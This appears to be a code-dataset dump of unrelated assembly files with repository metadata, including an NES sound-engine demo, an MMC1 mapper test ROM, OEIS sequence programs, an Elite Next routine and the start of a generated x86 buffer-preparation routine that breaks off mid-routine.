"Unlicense"
] | 3 | 2017-12-31T17:07:30.000Z | 2019-10-04T09:29:55.000Z | ggsound_ca65/demo.asm | bunder2015/ggsound | cdf78933ce7300ec3e4aae795ea3352e7817c0e3 | [
"Unlicense"
] | 8 | 2018-01-26T16:50:10.000Z | 2021-04-28T20:55:03.000Z | ;file: soundengine_demo.asm
;author: Derek Andrews <derek.george.andrews@gmail.com>
;description: This program is a demo of my sound and music engine.
;It is just a bunch of boilerplate to initialize the NES and set
;up IRQ vectors and so forth. To understand how the sound engine
;is used, check out the usage.asm module.
.feature force_range
.include "ppu.inc"
.include "sprite.inc"
.include "zp.inc"
.include "ram.inc"
.include "ggsound.inc"
.include "tracks.inc"
.include "controller.inc"
.segment "HEADER"
.byte "NES",$1a ;iNES header
.byte $02 ;# of PRG-ROM blocks. These are 16kb each. $4000 hex.
.byte $01 ;# of CHR-ROM blocks. These are 8kb each. $2000 hex.
.byte $01 ;Vertical mirroring. SRAM disabled. No trainer. Four-screen mirroring disabled. Mapper #0 (NROM)
.byte $00 ;Rest of NROM bits (all 0)
.segment "CODE"
palette:
.byte $0e,$08,$18,$20,$0e,$0e,$12,$20,$0e,$0e,$0e,$0e,$0e,$0e,$0e,$0e
.byte $0e,$0e,$09,$1a,$0e,$0e,$0e,$0e,$0e,$0e,$0e,$0e,$0e,$0e,$0e,$0e
tv_system_to_sound_region:
.byte SOUND_REGION_NTSC, SOUND_REGION_PAL, SOUND_REGION_DENDY, SOUND_REGION_NTSC
reset:
;Set interrupt disable flag.
sei
;Clear binary encoded decimal flag.
cld
;Disable APU frame IRQ.
lda #$40
sta $4017
;Initialize stack.
ldx #$FF
txs
;Turn off all graphics, and clear PPU registers.
lda #$00
sta ppu_2000
sta ppu_2001
upload_ppu_2000
upload_ppu_2001
;Disable DMC IRQs.
lda #$00
sta $4010
;Clear the vblank flag, so we know that we are waiting for the
;start of a vertical blank and not powering on with the
;vblank flag spuriously set.
bit $2002
;Wait for PPU to be ready.
wait_vblank
wait_vblank
;Install nmi routine for just counting nmis (detecting system)
lda #<vblank_get_tv_system
sta vblank_routine
lda #>vblank_get_tv_system
sta vblank_routine+1
;Initialize ppu registers with settings we're never going to change.
set_ppu_2000_bit PPU0_EXECUTE_NMI
set_ppu_2001_bit PPU1_SPRITE_CLIPPING
set_ppu_2001_bit PPU1_BACKGROUND_CLIPPING
clear_ppu_2000_bit PPU0_BACKGROUND_PATTERN_TABLE_ADDRESS
set_ppu_2000_bit PPU0_SPRITE_PATTERN_TABLE_ADDRESS
upload_ppu_2000
upload_ppu_2001
;Load palette.
lda #<palette
sta palette_address
lda #>palette
sta palette_address+1
jsr ppu_load_palette
;Load nametable.
lda #$20
sta ppu_2006
lda #$00
sta ppu_2006+1
upload_ppu_2006
lda #<name_table
sta w0
lda #>name_table
sta w0+1
jsr ppu_load_nametable
lda #0
sta next_sprite_address
;Draw sprite overlay.
lda #<sprite_overlay
sta w0
lda #>sprite_overlay
sta w0+1
jsr sprite_draw_overlay
;Get the sprites on the screen.
lda #>(sprite)
sta $4014
lda #$20
sta ppu_2006+1
lda #0
sta ppu_2006
sta ppu_2005
lda #-8
sta ppu_2005+1
upload_ppu_2006
upload_ppu_2005
;Turn on graphics and sprites.
set_ppu_2001_bit PPU1_SPRITE_VISIBILITY
set_ppu_2001_bit PPU1_BACKGROUND_VISIBILITY
upload_ppu_2001
lda #0
sta current_song
sta pause_flag
wait_vblank
;initialize modules
lda #0
sta nmis
jsr get_tv_system
tax
lda tv_system_to_sound_region,x
sta sound_param_byte_0
lda #<song_list
sta sound_param_word_0
lda #>song_list
sta sound_param_word_0+1
lda #<sfx_list
sta sound_param_word_1
lda #>sfx_list
sta sound_param_word_1+1
lda #<instrument_list
sta sound_param_word_2
lda #>instrument_list
sta sound_param_word_2+1
lda #<dpcm_list
sta sound_param_word_3
lda #>dpcm_list
sta sound_param_word_3+1
jsr sound_initialize
;load a song
lda current_song
sta sound_param_byte_0
jsr play_song
lda #<vblank_demo
sta vblank_routine
lda #>vblank_demo
sta vblank_routine+1
main_loop:
clear_vblank_done
wait_vblank_done
jsr controller_read
lda controller_buffer+buttons::_a
and #%00000011
cmp #%00000001
bne :+
lda #sfx_index_sfx_collide
sta sound_param_byte_0
lda #soundeffect_one
sta sound_param_byte_1
jsr play_sfx
:
lda controller_buffer+buttons::_b
and #%00000011
cmp #%00000001
bne :+
lda #sfx_index_sfx_dpcm
sta sound_param_byte_0
lda #soundeffect_two
sta sound_param_byte_1
jsr play_sfx
:
lda controller_buffer+buttons::_up
and #%00000011
cmp #%00000001
bne :++
inc current_song
lda current_song
cmp #(MAX_TRACKS)
bne :+
lda #(MAX_TRACKS-1)
sta current_song
:
lda #0
sta pause_flag
lda current_song
sta sound_param_byte_0
jsr play_song
:
lda controller_buffer+buttons::_down
and #%00000011
cmp #%00000001
bne :++
dec current_song
lda current_song
cmp #$ff
bne :+
lda #0
sta current_song
:
lda #0
sta pause_flag
lda current_song
sta sound_param_byte_0
jsr play_song
:
lda controller_buffer+buttons::_start
and #%00000011
cmp #%00000001
bne :+
.scope
lda pause_flag
eor #1
sta pause_flag
lda pause_flag
beq unpause
pause:
jsr pause_song
jmp done
unpause:
jsr resume_song
done:
.endscope
:
jmp main_loop
;
; NES TV system detection code
; Copyright 2011 Damian Yerrick
;
; Copying and distribution of this file, with or without
; modification, are permitted in any medium without royalty provided
; the copyright notice and this notice are preserved in any source
; code copies. This file is offered as-is, without any warranty.
;
.align 32
;;
; Detects which of NTSC, PAL, or Dendy is in use by counting cycles
; between NMIs.
;
; NTSC NES produces 262 scanlines, with 341/3 CPU cycles per line.
; PAL NES produces 312 scanlines, with 341/3.2 CPU cycles per line.
; Its vblank is longer than NTSC, and its CPU is slower.
; Dendy is a Russian famiclone distributed by Steepler that uses the
; PAL signal with a CPU as fast as the NTSC CPU. Its vblank is as
; long as PAL's, but its NMI occurs toward the end of vblank (line
; 291 instead of 241) so that cycle offsets from NMI remain the same
; as NTSC, keeping Balloon Fight and any game using a CPU cycle-
; counting mapper (e.g. FDS, Konami VRC) working.
;
; nmis is a variable that the NMI handler modifies every frame.
; Make sure your NMI handler finishes within 1500 or so cycles (not
; taking the whole NMI or waiting for sprite 0) while calling this,
; or the result in A will be wrong.
;
; @return A: TV system (0: NTSC, 1: PAL, 2: Dendy; 3: unknown
; Y: high byte of iterations used (1 iteration = 11 cycles)
; X: low byte of iterations used
.proc get_tv_system
ldx #0
ldy #0
lda nmis
nmiwait1:
cmp nmis
beq nmiwait1
lda nmis
nmiwait2:
; Each iteration takes 11 cycles.
; NTSC NES: 29780 cycles or 2707 = $A93 iterations
; PAL NES: 33247 cycles or 3022 = $BCE iterations
; Dendy: 35464 cycles or 3224 = $C98 iterations
; so we can divide by $100 (rounding down), subtract ten,
; and end up with 0=ntsc, 1=pal, 2=dendy, 3=unknown
inx
bne :+
iny
:
cmp nmis
beq nmiwait2
tya
sec
sbc #10
cmp #3
bcc notAbove3
lda #3
notAbove3:
rts
.endproc
.proc vblank_get_tv_system
inc nmis
rts
.endproc
.proc vblank_demo
;Just use up vblank cycles to push monochrome bit
;CPU usage display of sound engine onto the screen.
ldy #130
lda sound_region
cmp #SOUND_REGION_PAL
bne :+
ldy #255
:
: ldx #7
: dex
bne :-
dey
bne :--
;turn on monochrome color while the sound engine runs
set_ppu_2001_bit PPU1_DISPLAY_TYPE
upload_ppu_2001
;update the sound engine. This should always be done at the
;end of vblank, this way it is always running at the same speed
;even if your game slows down.
soundengine_update
;turn off monochrome color now that the sound engine is
;done. You should see a nice gray bar that shows how much
;cpu time the sound engine is using.
clear_ppu_2001_bit PPU1_DISPLAY_TYPE
upload_ppu_2001
rts
.endproc
vblank:
pha
txa
pha
tya
pha
php
jsr vblank_indirect
lda #1
sta vblank_done_flag
plp
pla
tay
pla
tax
pla
irq:
rti
.proc vblank_indirect
jmp (vblank_routine)
.endproc
name_table:
.include "name_table.inc"
sprite_overlay:
.byte $22
.byte $70,$01,$00,$c0,$38
.byte $70,$02,$00,$c8,$30
.byte $78,$03,$00,$b8,$40
.byte $78,$04,$00,$c0,$38
.byte $78,$05,$00,$c8,$30
.byte $78,$06,$00,$d0,$28
.byte $80,$07,$00,$b0,$48
.byte $80,$08,$00,$b8,$40
.byte $80,$09,$00,$c0,$38
.byte $80,$0a,$00,$c8,$30
.byte $88,$0b,$00,$78,$80
.byte $88,$0c,$00,$80,$78
.byte $88,$0d,$00,$88,$70
.byte $88,$0e,$00,$b0,$48
.byte $88,$0f,$00,$b8,$40
.byte $88,$10,$00,$c0,$38
.byte $90,$11,$00,$78,$80
.byte $90,$12,$00,$80,$78
.byte $90,$13,$00,$88,$70
.byte $90,$14,$00,$90,$68
.byte $90,$15,$00,$a8,$50
.byte $90,$16,$00,$b0,$48
.byte $90,$17,$00,$b8,$40
.byte $90,$18,$00,$c0,$38
.byte $98,$19,$00,$80,$78
.byte $98,$1a,$00,$88,$70
.byte $98,$1b,$00,$90,$68
.byte $98,$1c,$00,$98,$60
.byte $98,$1d,$00,$a0,$58
.byte $98,$1e,$00,$a8,$50
.byte $98,$1f,$00,$b0,$48
.byte $98,$20,$00,$b8,$40
.byte $a0,$21,$00,$90,$68
.byte $a0,$22,$00,$a0,$58
.segment "VECTORS"
.word vblank
.word reset
.word irq
.segment "BGCHR0"
.include "bg_chr.inc"
.segment "SPRCHR0"
.include "spr_chr.inc"
| 21.424444 | 114 | 0.666113 |
343f9b4b6b241307b044d5b3a990a1dee02ac9bd | 342 | asm | Assembly | tests/Logical/logical.asm | ZubinGou/8086-emulator | 5087be61609fa571d16f34280211830746beaef1 | [
"MIT"
] | 39 | 2020-09-09T00:04:18.000Z | 2022-03-26T13:12:47.000Z | tests/Logical/logical.asm | ZubinGou/8086-emulator | 5087be61609fa571d16f34280211830746beaef1 | [
"MIT"
] | null | null | null | tests/Logical/logical.asm | ZubinGou/8086-emulator | 5087be61609fa571d16f34280211830746beaef1 | [
"MIT"
] | 8 | 2020-05-06T07:35:40.000Z | 2021-08-13T14:00:49.000Z | ;test most of the logical instructions
NAME Logical
TITLE logical
ASSUME CS:CODE
CODE SEGMENT
START: MOV AX,0505H
MOV BX,C0C0H
MOV CX,1122H
AND AX,BX
OR AX,BX
XOR AX,BX
NOT CX
NEG AX
CMP AX,1000H
TEST AX,BX
CODE ENDS
END START
| 17.1 | 38 | 0.517544 |
2b8e685dd6f8d204ca7abd88a9b389d790cea7b0 | 148 | asm | Assembly | Lab Assessment Submission/Lab 2/Lab_2.asm | Ashddin/CSE331L-Section-10-Fall20-NSU | 87dd2f70417b19918262b82a4dc4258eca350acd | [
"MIT"
] | null | null | null | Lab Assessment Submission/Lab 2/Lab_2.asm | Ashddin/CSE331L-Section-10-Fall20-NSU | 87dd2f70417b19918262b82a4dc4258eca350acd | [
"MIT"
] | null | null | null | Lab Assessment Submission/Lab 2/Lab_2.asm | Ashddin/CSE331L-Section-10-Fall20-NSU | 87dd2f70417b19918262b82a4dc4258eca350acd | [
"MIT"
] | null | null | null |
org 100h
; add your code here
K1 EQU 1
K2 EQU 2
K3 EQU 3
ADD AX,K1
ADD AX,K2
ADD AX,K3
MOV BX, AX
ret
| 7.4 | 20 | 0.47973 |
85d52261318d00326f66020991adadd7c7ae5f3f | 756 | asm | Assembly | programs/oeis/016/A016748.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/016/A016748.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/016/A016748.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A016748: a(n) = (2*n)^8.
; 0,256,65536,1679616,16777216,100000000,429981696,1475789056,4294967296,11019960576,25600000000,54875873536,110075314176,208827064576,377801998336,656100000000,1099511627776,1785793904896,2821109907456,4347792138496,6553600000000,9682651996416,14048223625216,20047612231936,28179280429056,39062500000000,53459728531456,72301961339136,96717311574016,128063081718016,167961600000000,218340105584896,281474976710656,360040606269696,457163239653376,576480100000000,722204136308736,899194740203776,1113034787454976,1370114370683136,1677721600000000,2044140858654976,2478758911082496,2992179271065856,3596345248055296,4304672100000000,5132188731375616,6095689385410816,7213895789838336,8507630225817856
pow $0,8
mov $1,$0
mul $1,256
| 108 | 697 | 0.892857 |
66e723309f56d4e32dfd7a92b47a931c41c33212 | 1,217 | asm | Assembly | Universe/Ships/ScaleObjectDistance.asm | TinfoilAsteroid/EliteNext | 417511cefd3d5c7dd7a46b0354eec801ea2c9ca2 | [
"Unlicense"
] | 9 | 2021-09-29T22:08:15.000Z | 2022-03-23T05:35:43.000Z | Universe/Ships/ScaleObjectDistance.asm | TinfoilAsteroid/EliteNext | 417511cefd3d5c7dd7a46b0354eec801ea2c9ca2 | [
"Unlicense"
] | 1 | 2022-01-21T12:35:42.000Z | 2022-01-21T17:47:24.000Z | Universe/Ships/ScaleObjectDistance.asm | TinfoilAsteroid/EliteNext | 417511cefd3d5c7dd7a46b0354eec801ea2c9ca2 | [
"Unlicense"
] | 1 | 2022-01-15T10:13:49.000Z | 2022-01-15T10:13:49.000Z | ScaleObjectDistance:
; ">ScaleObjectDistance, scales camera location and returns c = scaling factor (equiv of X reg)"
ld a,(QAddr) ; Hull byte #18 normals scaled by 2^Q% DtProd^XX2 their comment Dot product gives normals' visibility in XX2
ld c,a ; c = Q factor for scaling of normals
LL90: ; scaling object distance
ld a,(UBnkDrawCam0zHi) ; z_hi
ld b,a ; z_hi (yReg)
ReturnIfAIsZero ; if zHi 0 test ifis object close/small, i.e. zhi already zero then we are done
LL90Loop:
; Loop dividing camera by 2 until zhi is 0 and updating scale factor
inc c ; LL90+3 \ repeat INWK z brought closer, take Qscale X up
ShiftMem16Right1 UBnkDrawCam0yLo ; cam Y /= 2
ShiftMem16Right1 UBnkDrawCam0xLo ; cam X /= 2
ShiftMem16Right1 UBnkDrawCam0zLo ; cam Z /= 2
ld a,h ; last shift will result in zhi adjusted into h reg.
JumpIfAIsNotZero LL90Loop ; loop until z hi = 0 this gives scalinging in c
ret
| 67.611111 | 156 | 0.552177 |
794d8df348bd3432d81609b1121f9b07f9123d32 | 21 | asm | Assembly | experiments/litmus/intel/2/thread.0.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | experiments/litmus/intel/2/thread.0.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | experiments/litmus/intel/2/thread.0.asm | phlo/concubine | 2a3bc9474878951aef54e8c7b6c47c5b4ac02fb1 | [
"MIT"
] | null | null | null | MEM 0
ADDI 1
STORE 1
| 5.25 | 7 | 0.714286 |
0a37761ba04520ec1feec562bb99db41cffc668f | 574 | asm | Assembly | oeis/091/A091818.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/091/A091818.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/091/A091818.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A091818: Sum of even proper divisors of 2n. Sum of the even divisors of 2n that are less than 2n.
; Submitted by Jon Maiga
; 0,2,2,6,2,12,2,14,8,16,2,32,2,20,18,30,2,42,2,44,22,28,2,72,12,32,26,56,2,84,2,62,30,40,26,110,2,44,34,100,2,108,2,80,66,52,2,152,16,86,42,92,2,132,34,128,46,64,2,216,2,68,82,126,38,156,2,116,54,148,2,246,2,80,98,128,38,180,2,212,80,88,2,280,46,92,66,184,2,288,42,152,70,100,50,312,2,146,114,234
add $0,1
sub $1,$0
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
add $1,$3
lpe
add $1,1
mov $0,$1
mul $0,2
| 28.7 | 297 | 0.630662 |
35178892ed75bd05f9d1013aaea8f7c83b10a084 | 758 | asm | Assembly | oeis/067/A067961.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/067/A067961.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/067/A067961.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A067961: Number of binary arrangements without adjacent 1's on n X n torus connected n-s.
; Submitted by Christian Krause
; 1,9,64,2401,161051,34012224,17249876309,23811286661761,84590643846578176,792594609605189126649,19381341794579313317802199,1242425797286480951825250390016,208396491430277954192889648311785961,91534759488004239323168528670973468727049,105248412711097594438987992544216456222918836224,316838049163628803239046478105716629679268472939763201,2497051234384236107255589857194970143564592269193886092007091,51522351378447355441195703260671467661021653083541674670663999422464
add $0,1
mov $2,$0
seq $0,32 ; Lucas numbers beginning at 2: L(n) = L(n-1) + L(n-2), L(0) = 2, L(1) = 1.
pow $0,$2
mov $1,$2
sub $2,8
sub $2,$1
sub $0,$2
sub $0,8
| 54.142857 | 469 | 0.832454 |
2f2ea122aa954152ef4588416f5a7072a86a3c24 | 8,864 | asm | Assembly | nes-test-roms/MMC1_A12/mmc1_a12.asm | joebentley/ones | d2c7d21bd94dda9d312c56a197cddec164035d4f | [
"BSD-2-Clause"
] | 1,461 | 2022-02-25T17:44:34.000Z | 2022-03-30T06:18:29.000Z | nes-test-roms/MMC1_A12/mmc1_a12.asm | joebentley/ones | d2c7d21bd94dda9d312c56a197cddec164035d4f | [
"BSD-2-Clause"
] | 20 | 2020-11-09T19:57:25.000Z | 2021-12-24T07:09:53.000Z | nes-test-roms/MMC1_A12/mmc1_a12.asm | joebentley/ones | d2c7d21bd94dda9d312c56a197cddec164035d4f | [
"BSD-2-Clause"
] | 34 | 2022-02-25T19:53:56.000Z | 2022-03-31T07:25:28.000Z | **** PRIOR DEFINITIONS ****
.include "maping.asm" ;This tells the ROM definition for the hardware
;.define PAL
.asctable
MAP "1" TO "9" = $10
MAP "A" TO "Z" = $20
MAP "=" = $1c
MAP "?" = $1e
MAP " " = $1f
MAP "/" = $3b
.enda
.ramsection "NMIVars" SLOT 0
;Thoose variables are used in the NMI routine
;Don't do calculations with them if a VBlank is pending
;set them after the calculation
SpriteDMAFlag db ;This tells if sprite DMA is ready in a frame
PalFlag db ;Check if palette uploaded is needed
NMIFlag db ;Check if a NMI is pending or not
FrameCounter db
NMITemp db
NMITemp2 db
NMITemp3 db
NMITemp4 db
ScrollV db
ScrollH db
M2001 db
M2000 db
.ends
.ramsection "Palette" SLOT 1
PaletteBuffer dsb $20
.ends
.ramsection "Main Vars" SLOT 0
Pointer .dw
PointerL db
PointerH db
Temp db
Temp2 db
Temp3 db
Temp4 db
EffectCtr db
DataCtr db
VRAMPointerH db
VRAMPointerL db
.ends
.ramsection "JoypadVar" SLOT 0
Pad1 db
Pad2 db
Pad1Locked db
Pad2Locked db
.ends
.ramsection "PlayerVars" SLOT 0
Delay db
.ends
.define DelayMax = $50
.struct SpriteDMA ;Structure for the Sprites
PosV db
TileNmr db
Palette db
PosH db
.endst
;$200-$2ff is reserved for sprite DMA
.enum $200
SpriteBuffer INSTANCEOF SpriteDMA 64
.ende
.ramsection "MMC1" SLOT 0
BankLatch1 db
BankLatch2 db
.ends
****** ROM aera begins here *******
.bank 0 SLOT 2
.orga $8000
.bank 1 SLOT 2
.orga $8000
.bank 3 SLOT 2
.orga $8000
.bank 4 SLOT 2
.orga $8000
.bank 5 SLOT 2
.orga $8000
.bank 6 SLOT 2
.orga $8000
.bank 7 SLOT 3
.orga $c000
***********************
*** Wait for a VBlank ***
***********************
.section "WaitNMI" FREE
WaitNMI
lda #$01
sta NMIFlag
- lda NMIFlag
bne -
rts
;Wait multiple NMIs in function of the value in X
WaitNMIs
- jsr WaitNMI
dex
bne -
rts
.ends
.section "NMIRoutine" FREE
NMI
pha
txa
pha
tya
pha
bit $2002
lda M2001
sta $2001
lda SpriteDMAFlag
beq _skipSpriteDMA ;Is the sprite buffer ready ?
lda #$00
sta SpriteDMAFlag ;Sprite buffer is read
sta $2003.w
lda #$02
sta $4014.w ;Do sprite DMA at $200
_skipSpriteDMA
lda PalFlag
beq + ;Do we need to update tiles ?
lda #$00
sta PalFlag
jsr WritePalette
+ lda #$22
sta $2006.w
lda #$1d
sta $2006.w
ldx #$00
lda Delay
- cmp #$0a ;Display units and tens of delay to NT
bcc +
sbc #$0a
inx
jmp -
+ tay
txa
clc
bne +
lda #$3f
bne ++
+ adc #$0f
++ sta $2007.w
tya
bne +
lda #$2e
bne ++
+ adc #$0f
++ sta $2007.w
lda ScrollH
sta $2005.w
lda ScrollV
sta $2005.w ;Upload scrolling regs
lda M2000
sta $2000.w
lda FrameCounter
eor #$01
sta FrameCounter
lda #$00 ;Clears the flag to stop waiting the frame
sta NMIFlag
pla ;Restore registers
tay
pla
tax
pla
IRQ rti
.ends
******************
* Graphics Stuff **
******************
;then clear all nametables and attribute tables with spaces ($60)
.section "ClearVRAM" FREE
ClearVRAM
lda M2000 ;Enable NMIs
ora #$80
sta M2000
sta $2000
jsr PaletteFadeOut ;Fade out palette (trick to save a routine to clear it)
lda #$00
sta $2000
lda #$06
sta M2001
sta $2001 ;Rendering off (so that nametables can be cleared)
jsr Clr2ndNamTbl ;Clear 2 active name tables
jmp ClrNamTbl
.ends
.section "PaletteFadeOut" FREE
PaletteFadeOut ;Fade out the palette
lda #$04
sta EffectCtr
_palfadeLoop
ldy #$1f
- lda PaletteBuffer.w,Y
sec
sbc #$10 ;Remove $10 from the color
bpl +
lda #$0f ;"Negative" colors forced to black
+ sta PaletteBuffer.w,Y
dey
bpl -
jsr WritePalette ;Palette will be uploaded at next NMI
ldx #$05
jsr WaitNMIs ;Wait 5 NMIs
dec EffectCtr
bne _palfadeLoop
rts
.ends
.section "ClrNamTbl" FREE
Clr2ndNamTbl
lda #$24 ;Clears the name tables
.db $cd
ClrNamTbl
lda #$20
SetNamAdress
sta $2006 ;Begin at $2000/$2400 (vertical mirroring)
lda #$00
sta $2006
lda #$0f
ldx #$1e ;Clears 30 rows with spaces ($60)
_screenloop
ldy #$20
_rowloop
sta $2007
dey
bne _rowloop
dex
bne _screenloop
lda #$00
ldx #$40 ;Clear attribute table with color $0
_attribloop
sta $2007
dex
bne _attribloop
rts
.ends
.section "ClrSprRam" FREE
ClrSprRam ;Clears the whole OAM buffer at $200
ldx #$00
beq _ClearRemainingSprites
FillBlankSprites ;This does just clears the unused sprites in $200-$2ff
lda SpriteDMAFlag ;For proper filling before sprite DMA
bne _endClrSprRam
_ClearRemainingSprites
lda #$f0
- sta SpriteBuffer.w,X
inx
inx
inx
inx
bne -
_endClrSprRam
inc SpriteDMAFlag
rts
.ends
;Turn the screen back on without scrolling glitches
;Set nametable 0 and scrolling to 0,0
;To be used only when the screen is disabled
.section "ResetScreen" FREE
ResetScreen
- bit $2002
bpl - ;Wait for VBlank and acknownledge it (no NMI)
lda #$88
sta M2000
sta $2000
lda #$00
sta ScrollV ;Enable NMI, enable endering, reset scrolling
sta ScrollH
lda M2001
ora #$1e
sta M2001 ;Enable rendering
sta $2001
rts
.ends
*****************
* Main programm *
*****************
.section "RESET" FREE
RESET ;The programm will start here
sei
ldx #$ff
txs ;Init stack pointer
inx
stx $2000.w
stx $2001.w ;Turn off rendering and interrupts
lda #$40
sta $4017.w ;Set sound clock, IRQ off
txa
sta PointerL
tay
ldx #$07
_initRAMloop
stx PointerH
- dey
sta [Pointer],Y ;Clear RAM
bne -
dex
bpl _initRAMloop
- bit $2002.w
bpl -
- bit $2002.w ;Wait for several VBlanks
bpl -
_MMC1
inc _MMC1.w
jsr ClearVRAM ;Clear the whole PPU
jsr LoadAlphabet ;Load character set
lda #$1e
jsr WriteR0 ;Initialise mapper
lda #$00
jsr WriteR1
lda #$00
jsr WriteR2 ;WRAM always enabled (for now)
lda #$06
jsr WriteR3
lda #$00
sta $2000.w
sta $2001.w
jsr PaletteInit
jsr PrintMsg
jsr ResetScreen ;This will make sprites use right pattern table (important !)
lda #$10
sta Delay ;Initial delay of $10
Loop
jsr ClrSprRam
lda #$85
sta $200
lda #$0f
sta $201
lda #$0f
sta $202
lda #$de
sta $203 ;Setup sprite zero hit
inc SpriteDMAFlag
jsr WaitNMI ;Wait a frame
jsr ReadLockJoypad
lda Pad1
lsr A ;Increase delay if right is pressed
bcc _noRight
lda Delay
cmp #DelayMax
bcs _noRight
inc Delay
_noRight
lda #$02
and Pad1
beq _noLeft
lda Delay ;Decrease delay if left is pressed
cmp #$01
beq _noLeft
dec Delay
_noLeft
lda #$04
and Pad1
beq _noDown
lda Delay ;Substract 10 to delay if down is pressed
sec
sbc #$0a
bcc +
bne ++
+ lda #$01
++ sta Delay
_noDown
lda #$08
and Pad1
beq _noUp ;Add 10 to delay if up is pressed
lda Delay
clc
adc #$0a
cmp #DelayMax
bcc +
lda #DelayMax
+ sta Delay
_noUp
jsr DisplayTestBar ;Display the grayscale test area
jmp Loop
.ends
.section "PaletteInit" FREE
PaletteInit
ldx #$00
- lda PalData.w,X
sta PaletteBuffer.w,X
inx
cpx #$20
bne -
inc PalFlag
rts
PalData
.db $01, $06, $26, $36
.db $01, $06, $27, $36
.db $01, $06, $0a, $0a
.db $01, $06, $0a, $0a
.db $01, $06, $0a, $0a
.db $01, $06, $0a, $0a
.db $01, $06, $0a, $0a
.db $01, $06, $0a, $0a
.ends
.section "WritePalette" FREE
WritePalette
lda #$3f
sta $2006.w
lda #$00
sta $2006.w
tay
_palLoop
lda PaletteBuffer.w,Y
sta $2007.w
iny
cpy #$20
bne _palLoop
rts
.ends
.section "LoadAlphabet" FREE
LoadAlphabet
ldy #$00
jsr + ;Load tileset into first pattern table
ldy #$10 ;Load identical tileset into second pattern table
+ sty $2006.w
ldy #$00
sty $2006.w
sty PointerL
ldx #$04
lda #>Alphabet
sta PointerH
- lda [Pointer],Y
sta $2007
iny
bne -
inc PointerH
dex
bne -
rts
.ends
.section "Alphabet" ALIGN $100
Alphabet
.incbin "alphabet.chr"
.ends
.section "PrintMsg" FREE
PrintMsg
lda #$21
sta $2006
lda #$a0
sta $2006
ldy #$00
- lda Msg.w,Y
sta $2007
iny
bpl -
rts
Msg
.asc " MMC1 WRAM DISABLE SCANLINE "
.asc " COUNTER TEST "
.asc " C 2O1O BREGALAD "
.asc " USE U/D L/R TO ADJUST DELAY= "
.ends
.section "DisplayTestBar" FREE
.define TestConst = $60~$ff ;Use the value oposite as the open bus value.
DisplayTestBar
lda #TestConst
sta $6000 ;Write a test constant in PRG RAM
lda #$10
jsr WriteR2 ;WRAM disabled when fecthing sprites, but enabled when fetchin BG (!)
;Now we can read $6000 as if we were reading PPU A12 directly...
;We can detect
- bit $2002
bvs -
- bit $2002 ;Wait for sprite zero hit
bvc -
lda #$1f
sta $2001 ;Turn on grayscale mode
ldx Delay
_delayLoop
- lda $6000
cmp #TestConst ;Wait until PRG RAM is disabled (emulators will freeze here)
beq -
ldy #$05
- dey ;Delay while sprites are being fetched
bne -
dex
bne _delayLoop ;Loop until the delay is expired
lda #$1e
sta $2001
lda #$00
jsr WriteR2 ;WRAM always enabled
sta $6000
rts
.ends
*************************
**** INTERUPTS VECTORS ****
*************************
.orga $fffa
.section "vectors" FORCE
.dw NMI
.dw RESET ;Thoose are the actual interupts vectors
.dw IRQ
.ends
| 16.028933 | 85 | 0.675654 |
1af0cdb912c16cc87540b0f1626fea3f9b017979 | 7,147 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2569.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2569.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_2569.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x6cc7, %rsi
lea addresses_UC_ht+0x184e7, %rdi
nop
nop
nop
nop
dec %r12
mov $56, %rcx
rep movsw
nop
nop
inc %r12
lea addresses_UC_ht+0x9fcf, %rsi
lea addresses_WT_ht+0x9927, %rdi
cmp %r13, %r13
mov $76, %rcx
rep movsq
nop
nop
nop
nop
add $44109, %rdi
lea addresses_WT_ht+0x13ae7, %rax
clflush (%rax)
nop
nop
nop
nop
inc %rbx
mov (%rax), %r12d
nop
and $46361, %rbx
lea addresses_WT_ht+0xd4ff, %rbx
nop
sub $39392, %rax
